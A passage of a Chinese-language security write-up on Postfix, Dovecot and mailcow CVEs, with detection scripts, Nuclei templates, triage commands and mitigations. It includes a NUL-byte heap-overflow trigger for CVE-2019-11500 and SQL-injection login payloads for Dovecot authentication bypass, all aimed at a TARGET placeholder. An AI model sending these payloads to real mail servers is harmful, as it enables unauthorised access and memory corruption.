        if "250" in resp:
            print("[!] 可能受 SMTP Smuggling 影响(\n.\n 被接受为数据结束)")
    except socket.timeout:
        print("[*] 连接超时")

    s.send(b"QUIT\r\n")
    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    smtp_smuggling_test(target)

Nuclei YAML 检测模板

id: postfix-cve-2023-51764
info:
  name: Postfix SMTP Smuggling - CVE-2023-51764
  author: x7peeps
  severity: high
  description: |
    Postfix SMTP Smuggling 漏洞允许攻击者伪造发件人地址并绕过 SPF 检查。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51764
    - https://www.postfix.org/smtp-smuggling.html
    - https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cwe-id: CWE-94
  metadata:
    max-request: 1
  tags: postfix,cve2023,smtp,smuggling

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "Postfix"

0x02.2 CVE-2022-32451 — Postfix DNS 响应解引用 DoS(CVSS 7.5)

漏洞背景

CVE-2022-32451 是 Postfix 在处理 DNS 响应时的拒绝服务漏洞。当 Postfix 作为客户端向远程 MTA 发送邮件时,会进行 DNS 反向解析。如果攻击者控制了目标域的 DNS 服务器,可以返回包含大量嵌套 CNAME 记录的 DNS 响应,导致 Postfix 在解析过程中消耗大量 CPU 和内存资源。

受影响版本

版本分支受影响版本修复版本
Postfix< 3.7.43.7.4
Postfix< 3.6.43.6.4
Postfix< 3.5.103.5.10

漏洞原理分析

Postfix 的 DNS 解析器在处理 CNAME 链时未设置足够的递归深度限制。攻击者构造深度嵌套的 CNAME 记录链(A → B → C → … → Z),每个解析步骤都消耗内存和 CPU。当链足够长时,可导致 Postfix 进程内存耗尽或超时,影响所有待处理邮件的投递。

HTTP/curl PoC

# 检测 Postfix 版本
(echo "EHLO test"; sleep 1; echo "QUIT") | nc TARGET 25 | grep -i "postfix\|version"

Python PoC 脚本

import socket
import time

def detect_postfix_version(target, port=25):
    """检测 Postfix 版本"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    if "Postfix" in banner:
        print("[*] 目标运行 Postfix")
        if "3.7.3" in banner or "3.6.3" in banner or "3.5.9" in banner:
            print("[!] 可能受 CVE-2022-32451 影响")
    else:
        print("[-] 目标未运行 Postfix")

    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_postfix_version(target)

Nuclei YAML 检测模板

id: postfix-cve-2022-32451
info:
  name: Postfix DNS Response DoS - CVE-2022-32451
  author: x7peeps
  severity: high
  description: |
    Postfix DNS 响应 CNAME 解引用深度无限制可导致拒绝服务。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32451
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-400
  metadata:
    max-request: 1
  tags: postfix,cve2022,dos,dns

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "Postfix"

0x03 Dovecot 高危漏洞

0x03.1 CVE-2019-11500 — NUL 字节 RCE(CVSS 10.0)

漏洞背景

CVE-2019-11500 是 Dovecot 历史上最严重的安全漏洞,CVSS 满分 10.0。由宾夕法尼亚大学的 Nick Roessler 和 Rafi Rubin 发现,影响 Dovecot 的 IMAP 和 ManageSieve 协议解析器。在处理包含 NUL 字节(\0)的引号字符串时,协议解析器未能正确处理,导致堆越界写入。

受影响版本

版本分支受影响版本修复版本
Dovecot 2.2.x< 2.2.36.42.2.36.4
Dovecot 2.3.x< 2.3.7.22.3.7.2
Pigeonhole< 0.5.7.20.5.7.2

漏洞原理分析

IMAP 和 ManageSieve 协议解析器在扫描引号字符串中的数据时,未正确处理 NUL 字节(\0)。这导致堆上的越界写入:

  • Pre-login 阶段:可写入堆上最多 8096 字节
  • Post-login 阶段:可写入堆上最多 65536 字节

漏洞利用不需要认证,且不会导致进程崩溃,因此攻击痕迹极其隐蔽。Dovecot 官方建议使用 valgrind 观察越界读取。

HTTP/curl PoC

# 使用 perl 生成触发 payload 并发送到 IMAP 端口
perl -e 'print "a id (\"foo\" \"".("x"x1021)."\\A\" \"bar\" \"\000".("x"x1020)."\\A\")\n"' | nc TARGET 143

Python PoC 脚本

import socket
import time

def detect_dovecot_version(target, port=143):
    """检测 Dovecot 版本和漏洞状态"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"a001 CAPABILITY\r\n")
    time.sleep(0.5)
    capa = s.recv(4096).decode('utf-8', errors='ignore')
    print(f"[*] CAPABILITY: {capa.strip()}")

    if "Dovecot" in banner or "Dovecot" in capa:
        print("[*] 目标运行 Dovecot")

        for part in banner.split() + capa.split():
            if part.startswith("2.") or part.startswith("2,"):
                version = part.rstrip(",)")
                print(f"[*] 版本: {version}")
                try:
                    ver_tuple = tuple(int(x) for x in version.split(".")[:3])
                    if ver_tuple < (2, 2, 36) or (
                        ver_tuple >= (2, 3, 0) and ver_tuple < (2, 3, 7)
                    ):
                        print("[!] 版本受 CVE-2019-11500 影响(NUL 字节 RCE)")
                        return True
                except (ValueError, IndexError):
                    pass

    s.send(b"a002 LOGOUT\r\n")
    s.close()
    return False

def trigger_nul_byte(target, port=143):
    """CVE-2019-11500 触发序列演示"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    payload = b'a001 id ("foo" "'
    payload += b'x' * 1021
    payload += b'\\A" "bar" "\\0'
    payload += b'x' * 1020
    payload += b'\\A")\r\n'

    print(f"[*] 发送 NUL 字节 payload ({len(payload)} bytes)")
    s.send(payload)
    time.sleep(1)

    try:
        resp = s.recv(4096)
        print(f"[*] 响应: {resp[:200]}")
    except socket.timeout:
        print("[*] 无响应(可能已触发漏洞或连接关闭)")

    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_dovecot_version(target)

Nuclei YAML 检测模板

id: dovecot-cve-2019-11500
info:
  name: Dovecot IMAP NUL Byte RCE - CVE-2019-11500
  author: x7peeps
  severity: critical
  description: |
    Dovecot IMAP/ManageSieve NUL 字节处理不当导致堆越界写入和 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11500
    - https://dovecot.org/pipermail/dovecot-news/2019-August/000418.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-787
  metadata:
    max-request: 1
  tags: dovecot,cve2019,rce,imap,nul-byte

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGOUT\r\n"
        read: true
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

0x03.2 CVE-2026-24031 — SQL 注入绕过认证(CVSS 7.7)

漏洞背景

CVE-2026-24031 是 Dovecot v2.4/v3.1 版本回归引入的 SQL 注入漏洞,影响 SQL 认证机制。当管理员清空 auth_username_chars 配置参数时,攻击者可绕过身份验证并枚举系统用户。

受影响版本

版本分支受影响版本修复版本前提条件
Dovecot 2.4.x≤ 2.4.0最新版本auth_username_chars 被清空
Dovecot 3.1.x≤ 3.1.0最新版本auth_username_chars 被清空

漏洞原理分析

auth_username_chars 配置项定义了用户名中允许使用的字符集,是防止 SQL 注入的关键输入验证层。当管理员将其清空后,Dovecot 不再限制用户名中的字符,SQL 元字符(单引号、分号、注释符等)可通过用户名字段传入认证查询。

攻击者可构造如 ' OR 1=1 -- 的用户名绕过认证,或使用 UNION SELECT 提取数据库信息。

HTTP/curl PoC

# 通过 IMAP 登录尝试 SQL 注入
(echo "a001 LOGIN \"' OR 1=1 --\" password"; sleep 1; echo "a002 LOGOUT") | nc TARGET 143

Python PoC 脚本

import socket
import time

def test_sqli_auth_bypass(target, port=143):
    """测试 CVE-2026-24031 SQL 注入认证绕过"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    payloads = [
        "' OR 1=1 --",
        "admin' --",
        "' UNION SELECT 1,1,1 --",
        "test'/**/OR/**/1=1",
    ]

    for i, payload in enumerate(payloads):
        s.send(f"a{i:03d} LOGIN \"{payload}\" test123\r\n".encode())
        time.sleep(0.5)
        resp = s.recv(4096).decode('utf-8', errors='ignore')
        print(f"[*] Payload: {payload}")
        print(f"    响应: {resp.strip()}")
        if "OK" in resp and "LOGIN" not in resp.upper().split("OK")[0][-5:]:
            print(f"    [!] 疑似认证绕过成功!")

    s.send(b"a999 LOGOUT\r\n")
    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    test_sqli_auth_bypass(target)

Nuclei YAML 检测模板

id: dovecot-cve-2026-24031
info:
  name: Dovecot SQL Injection Auth Bypass - CVE-2026-24031
  author: x7peeps
  severity: high
  description: |
    Dovecot SQL 认证在 auth_username_chars 被清空时存在注入漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24031
    - https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 7.7
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: dovecot,cve2026,sqli,auth-bypass

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGIN \"' OR 1=1 --\" test\r\n"
        read: true
      - data: "a003 LOGOUT\r\n"
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

0x03.3 CVE-2021-33515 — STARTTLS 认证绕过(CVSS 4.8)

漏洞背景

CVE-2021-33515 由明斯特应用科学大学的 Fabian Ising 和 Damian Poddebniak 发现,存在于 Dovecot 的 Submission 服务中。MITM 攻击者可在 STARTTLS 协商之前注入明文命令,这些命令在 TLS 升级完成后仍被执行,导致敏感信息重定向到攻击者控制的地址。

受影响版本

版本分支受影响版本修复版本
Dovecot< 2.3.152.3.15

漏洞原理分析

MITM 攻击者在 Dovecot Submission 服务的 STARTTLS 协商之前注入明文 SMTP 命令。由于 lib-smtp 的命令解析在 TLS 升级后仍保留了明文命令的执行上下文,攻击者可将用户凭据和邮件重定向到攻击者控制的地址。

Python PoC 脚本

def describe_starttls_injection():
    print("[*] CVE-2021-33515 — STARTTLS 命令注入")
    print("[*] 攻击步骤:")
    print("  1. 作为 MITM 位于客户端和 Dovecot 之间")
    print("  2. 在 STARTTLS 协商前注入明文 SUBMIT 命令")
    print("  3. 命令在 TLS 上下文中被执行")
    print("  4. 用户凭据被重定向到攻击者地址")
    print("[*] 修复: 升级到 Dovecot 2.3.15+")
    print("[*] 缓解: 禁用 STARTTLS,仅使用 993/465/995 端口")

if __name__ == "__main__":
    describe_starttls_injection()

Nuclei YAML 检测模板

id: dovecot-cve-2021-33515
info:
  name: Dovecot STARTTLS Command Injection - CVE-2021-33515
  author: x7peeps
  severity: medium
  description: |
    Dovecot Submission 服务 STARTTLS 命令注入导致认证信息泄露。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33515
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 4.8
  metadata:
    max-request: 1
  tags: dovecot,cve2021,starttls,auth-bypass

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGOUT\r\n"
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

0x03.4 CVE-2023-34108 — 变量注入信息泄露(CVSS 8.8)

漏洞背景

CVE-2023-34108 存在于基于 Dovecot 的 mailcow 邮件套件中。passwd-verify.lua 认证脚本在验证密码时,将密码值直接拼接到返回字符串中。攻击者可通过构造包含额外键值对的密码,操纵 Dovecot 内部变量。

受影响版本

产品受影响版本修复版本
mailcow:dockerized≤ 2023-052023-05a

漏洞原理分析

passwd-verify.lua 成功认证后返回 password=<valid-password>。当密码为 123 mail_crypt_save_version=0 时,返回值变为 password=123 mail_crypt_save_version=0,Dovecot 将其解释为多个键值对,从而设置内部变量。

Python PoC 脚本

def describe_mailcow_injection():
    print("[*] CVE-2023-34108 — mailcow 变量注入")
    print("[*] 伪造密码示例: 'mypassword mail_crypt_save_version=0'")
    print("[*] 返回值: 'password=mypassword mail_crypt_save_version=0'")
    print("[*] Dovecot 解析为: password=mypassword, mail_crypt_save_version=0")
    print("[*] 影响: 绕过邮件加密设置,访问其他用户邮件")
    print("[*] 修复: 升级 mailcow 到 2023-05a+")

if __name__ == "__main__":
    describe_mailcow_injection()

Nuclei YAML 检测模板

id: mailcow-cve-2023-34108
info:
  name: mailcow Dovecot Variable Injection - CVE-2023-34108
  author: x7peeps
  severity: high
  description: |
    mailcow passwd-verify.lua 通过特制密码可注入 Dovecot 内部变量。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34108
    - https://mailcow.email/posts/2023/cve-2023-34108/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
  metadata:
    max-request: 1
  tags: mailcow,dovecot,cve2023,variable-injection

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGOUT\r\n"
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

0x04 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVE公开 PoC仓库/来源利用成熟度
CVE-2026-45185⚠️ AI辅助开发XBOW 研究团队完整利用链
CVE-2025-26794OscarBataille/CVE-2025-26794Docker Lab
CVE-2023-42115⚠️ZDI Advisory漏洞验证
CVE-2022-37452ivd38/exim_overflowPoC
CVE-2020-28007/28008Qualys 21Nails Advisory完整利用链
CVE-2018-6789DEVCORE Exploit武器化
CVE-2023-51764duy-31/CVE-2023-51764PoC
CVE-2019-11500Dovecot 官方公告漏洞验证
CVE-2026-24031无公开 PoC概念验证
CVE-2023-34108VladimirBorisov/CVE_proposal武器化
CVE-2021-33515⚠️HackerOne Report漏洞验证

关键 PoC 仓库链接

  • Exim 21Nails: https://www.qualys.com/research/security-advisories/
  • Exim Dead.Letter: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  • CVE-2025-26794 Docker Lab: https://github.com/OscarBataille/CVE-2025-26794
  • SMTP Smuggling: https://github.com/duy-31/CVE-2023-51764
  • CVE-2018-6789 利用: https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/

防守型验证思路

  1. 版本指纹识别:通过 SMTP/IMAP Banner 提取版本号,对照受影响版本矩阵
  2. 能力探测:检测 STARTTLS、CHUNKING、ETRN、EXTERNAL AUTH 等扩展支持
  3. 配置审计:检查 auth_username_chars、SQLite DBM、EXTERNAL 认证器等高风险配置
  4. 被动流量分析:监控 SMTP 会话中的异常 BDAT 序列、NTLM 交互和 NUL 字节

0x05 共性攻击模式分析

1. SMTP 协议状态机滥用

多个漏洞(CVE-2026-45185、CVE-2023-51764、CVE-2023-42115)利用了 SMTP 协议状态机在不同阶段之间的转换缺陷。攻击者通过构造非预期的命令序列(如在 TLS 会话关闭后发送明文数据,或在 DATA 阶段注入新命令),使 MTA 在错误的处理上下文中执行操作。

2. 输入验证缺失导致注入类漏洞

Exim 的 SQLite SQL 注入(CVE-2025-26794)和 Dovecot 的 SQL 注入(CVE-2026-24031)共享相同的根本原因:将用户可控数据直接拼接到数据库查询中,缺少参数化查询或输入转义机制。ETRN 命令的域名参数和 Dovecot 的用户名字段都成为注入向量。

3. 内存安全漏洞在 C 语言邮件系统中的系统性存在

从 CVE-2018-6789(base64 off-by-one)到 CVE-2022-37452(堆溢出)再到 CVE-2026-45185(UAF),Exim 的内存安全漏洞呈现出跨版本的持续性。这些漏洞分布在 SMTP 协议解析、TLS 集成、DNS 处理等多个代码路径中,反映了 C 语言代码库中内存安全问题的系统性特征。

4. 本地提权与远程漏洞的组合利用链

Qualys 21Nails 审计完美展示了这一模式:CVE-2020-28018/28020(远程 RCE 获取 exim 用户 shell)+ CVE-2020-28007/28008(本地提权到 root)= 完整的远程 root 代码执行。这种 RCE + LPE 组合模式在邮件系统攻击中具有普遍性。

5. 协议解释差异导致跨系统攻击面

SMTP Smuggling(CVE-2023-51764)和 Dovecot STARTTLS 注入(CVE-2021-33515)都利用了不同邮件系统之间对同一协议标准的不同解释。RFC 的模糊性和实现差异为跨系统攻击创造了条件。


0x06 应急排查与防守建议

紧急排查清单

# 1. 检查 Exim 版本和构建配置
exim -bV | head -5
exim -bV | grep -i "gnutls\|openssl"
exim4 -bP configure_file | grep -i "driver = external"
exim4 -bP configure_file | grep -i "acl_smtp_etrn"

# 2. 检查 Exim SQLite 配置
exim -bV | grep -i sqlite
grep -r "USE_SQLITE" /etc/exim4/

# 3. 检查 Postfix 版本和 SMTP Smuggling 缓解配置
postconf mail_version
postconf smtpd_forbid_bare_newline
postconf smtpd_data_restrictions

# 4. 检查 Dovecot 版本
dovecot --version

# 5. 检查 Dovecot auth_username_chars 配置
grep -r "auth_username_chars" /etc/dovecot/

# 6. 检查 mailcow 版本(如适用)
cd /opt/mailcow-dockerized && git log --oneline -1

日志关键字段表

日志来源关键字段关注模式
Exim mainlogSMTP 会话记录异常 BDAT 终止、STARTTLS 后异常关闭
Exim paniclogpanic 条目堆损坏、segfault、core dump
Exim debuglogTLS/BDAT 调试ungetc() 调用后内存异常
Postfix mail.logsmtpd 记录\n.\n DATA 终止序列
Dovecot mail.logimap-loginNUL 字节、SQL 关键字在用户名中
Dovecot auth.log认证记录异常字符的登录尝试

紧急缓解措施

优先级措施适用产品
P0升级到最新修复版本所有产品
P1限制 SMTP/IMAP 访问 IP 白名单Exim/Postfix/Dovecot
P1禁用 EXTERNAL 认证(Exim)Exim
P1不要清空 auth_username_chars(Dovecot)Dovecot
P2配置 smtpd_forbid_bare_newline=yesPostfix
P2仅使用 993/465/995 加密端口Dovecot
P2禁用 ETRN 命令(如不需要)Exim

长期安全加固建议

  1. 版本管理:建立邮件系统补丁管理流程,订阅 Exim/Postfix/Dovecot 安全公告邮件列表
  2. 构建安全:Exim 使用 OpenSSL 替代 GnuTLS 构建可减少 CVE-2026-45185 攻击面;避免启用 USE_SQLITE
  3. 网络隔离:SMTP/IMAP 服务部署在 DMZ,通过防火墙限制源 IP
  4. 认证加固:禁用明文认证,强制 TLS;禁用 NTLM 和 EXTERNAL 等高风险认证机制
  5. 日志监控:部署 SIEM 规则监控邮件系统的异常认证尝试、协议违规和进程崩溃
  6. 最小权限:确保 Exim/Postfix/Dovecot 进程以最小必要权限运行,限制文件系统访问

0x07 参考资料

  1. XBOW. “Dead.Letter (CVE-2026-45185) How XBOW Found an Unauthenticated RCE on Exim.” https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  2. Exim Security Advisory. “CVE-2026-45185.” https://exim.org/static/doc/security/CVE-2026-45185.txt
  3. NVD. “CVE-2026-45185 Detail.” https://nvd.nist.gov/vuln/detail/CVE-2026-45185
  4. Oscar Bataille. “CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM).” https://github.com/OscarBataille/CVE-2025-26794
  5. Qualys. “21Nails: Multiple vulnerabilities in Exim.” https://www.qualys.com/research/security-advisories/
  6. Zero Day Initiative. “ZDI-23-1469: Exim AUTH Out-Of-Bounds Write Remote Code Execution Vulnerability.” https://www.zerodayinitiative.com/advisories/ZDI-23-1469/
  7. SEC Consult. “SMTP Smuggling – Spoofing E-Mails Worldwide.” https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
  8. Postfix Official. “SMTP Smuggling.” https://www.postfix.org/smtp-smuggling.html
  9. Dovecot Security. “CVE-2019-11500: Critical vulnerability in Dovecot and Pigeonhole.” https://dovecot.org/pipermail/dovecot-news/2019-August/000418.html
  10. Open-Xchange. “OXDC-ADV-2026-0001 Dovecot Security Advisory.” https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html
  11. DEVCORE. “Exim Off-by-one RCE: Exploiting CVE-2018-6789.” https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
  12. NIST NVD. “CVE-2023-51764 Detail.” https://nvd.nist.gov/vuln/detail/CVE-2023-51764